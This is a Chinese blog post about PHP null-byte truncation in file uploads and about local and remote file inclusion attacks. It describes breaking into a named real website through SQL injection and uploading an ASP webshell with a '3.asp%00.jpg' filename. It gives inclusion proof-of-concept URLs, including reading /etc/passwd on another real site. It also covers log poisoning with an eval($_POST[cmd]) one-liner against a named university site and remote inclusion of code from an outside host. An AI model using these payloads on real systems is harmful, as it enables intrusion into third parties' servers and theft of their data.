php 00截断,文件上传之\00截断与文件包含之%00截断 文件包含漏洞详解 – jinglingshu的博客...

首先要明确\00截断与%00截断的关系:00截断就是将上传文件的文件名或路径名中使用ascii码值为0的字符进行截断来达到突破上传限制的目的,而%00一般用在URL中用于截断url来进行文件包含。两者之间的关系是:%00是ascii值为0字符的url编码形式,两者原理其实是一样的。

一、\00的路径截断

以网站http://www.hongkonggift.com为例,该网站存在注入,通过注入获取管理员口令并进入后台,在http://www.hongkonggift.com/admin/banner_detail.asp?uid=3处可上传文件。

3895338f61a896ae43185a34c96663d6.png

结果上传后缀为.asp/asa等后缀都不成功,上传jpg文件是可以的。通过空格方式.asp .jpg也不行。下面使用截断。

(1)通过burp sulte抓包。修改文件名截断即可。为了说明\00与%00的关系,有两种修改方法。第一种 :用\00截断。即在.asp后面加个空格,然后在hex中将空格的20变为00.

212d814be8fe7d64025065b192ebc578.png

e4d44dd36b8c96f311daa1137121beb1.png

616ecb1928f278ec27e15765a6551242.png

第二种是,将文件名名为3.asp%00.jpg,然后使用burp将%00进行url解码(实际上这样获得的文件名与上面将20变为00是一样的)。

c31a33cd5406606ecf6f9655d81b72f7.png

二、文件包含漏洞

利用本地包含时常常需要用%00来截断后面的字符串,但在GPC为ON时%00是会被转义的,那么还有其他方法么?

其实以前就有人提到过用一定数量的/突破操作系统对文件名的长度限制来截断后面的字符串,详见:http://cloie.it580.com/?p=51

文里提到只可以在WIN下利用,其实部分Linux主机下也可以,只是/的数量要更多些(要使文件路径名长度大于4096字节),看看下面的代码片断:

$a=”;

for($i=0;$i<=4071;$i++) {

$a .= ‘/’;

}

$a = ‘test.txt’.$a;                //完整的路径为/var/www/test/test.txt

require_once($a.’.php’);

?>

在Linux环境下测试,你会发现’.php’被截断了,成功的包含了test.txt:)

有空就多整理下曾经研究过的知识和需要温顾的知识,明年可能去寻工作络.

关于PHP中LFI(Local File Include,本地文件包含)漏洞,大家都很熟悉了;paper很多很多,特别是国外的…不过

大家都懒得测试,我就来整理下.

1.普通本地包含;

$query=$_GET['p'];

include($query);

?>

poc:

http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php

../hanguo/test.php为包含的路径.

File.asp?md5=95cd50af096eaf3e6761c9b60fee4749

只要目标服务器支持上传,不管是jpg,txt,gif等都可以,在其中包含一句话木马即可,这种方法很简单没什么可说的。

2.截断本地包含

require_once($a.'.php');

include($a.".php");

//等等类似此包含的函数..

在WINDOWS下还有特别用处:

\.或者./或者\或者/截断 (WINDOWS都可以使用.)

Linux包含截断例子 (Linux ./和/可以.)

%00截断包含,有gpc=off和php版本限制

poc:

http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php%00

3.远程包含

在allow_url_include=On就是远程文件包含了,为off那就只能本地包含了.

测试case:

$query=$_GET['p'];

include($query.".php");

?>

连接:

http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah.txt

爆错了:

Warning: main(http://www.axxer.com/yeah.txt.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in

/var/www/htdocs/explame.php on line 3

include($query.".php");

代码的缘故,在后面加上了”.php“,导致yeah.txt变成了yeah.txt.php.

这里我们不需要截断啦,来个360计之—-将计就计.

在www.axxer.com创建个yeah.php文件;

然后http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah,自动在后面加

上.php;多么爱。。。。

我们还可以用php自带协议来利用:

包含data:// 或者php://input 伪协议

这个漏洞对于php5.0以下有效,5.3测试失败,其他大家自行总结。还是比较鸡肋,不过不亏为一种好思路。

http://www.schnelltest24.de/index.php?page=/etc/passwd

//这个没有截断,我们尝试下用协议看看.

File.asp?md5=3b2e2d7ffa2f5d47e00e9f223ed5123a

利用协议然后POST发送利用代码,哈哈;多么有爱~~~~.

4.日记包含高级利用

此连接已经透露出技巧了呢,连接思路简单说下:

(1)访问带有一句话的错误连接(http://www.ujn.edu.cn/xxxxxxxx…),此连接将记录到error.log错误记录文件中.

(2)找到包含漏洞的地方,包含到error.log文件的路径.然后在自定义s参数中输入我们恶意代码. (http://www.ujn.edu.cn/english/depart.php?s=phpinfo();&name=../../../../../../var/log/lighttpd/error.log/././……….)

一先限制以及突破:

类似http://www.exp.com/index<?php eval($_POST[cmd]);?>.php

这样的提交,某些WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含<?php %20eval($_POST[cmd]);?>这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志.

一点连接:内容1

5.其他高级利用

(1)包含/proc/self/environ环境变量:

这个是利用Linux中的环境变量作为基础,很多时候这个方法行不通,因为没有/proc/self/environ的访问权限.同读取/etc/passwd一样

File.asp?md5=12f7325a4c9d0013139a20894998bf21

利用(文章中第四点有详细介绍了.)

(2) phpinfo临时文件爆破包含. //看情况而定,有的需要%00等特殊字符截断.上面介绍过了.

(3)_SESSION爆破包含.   //看情况而定,有的需要%00等特殊字符截断.上面介绍过了.

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值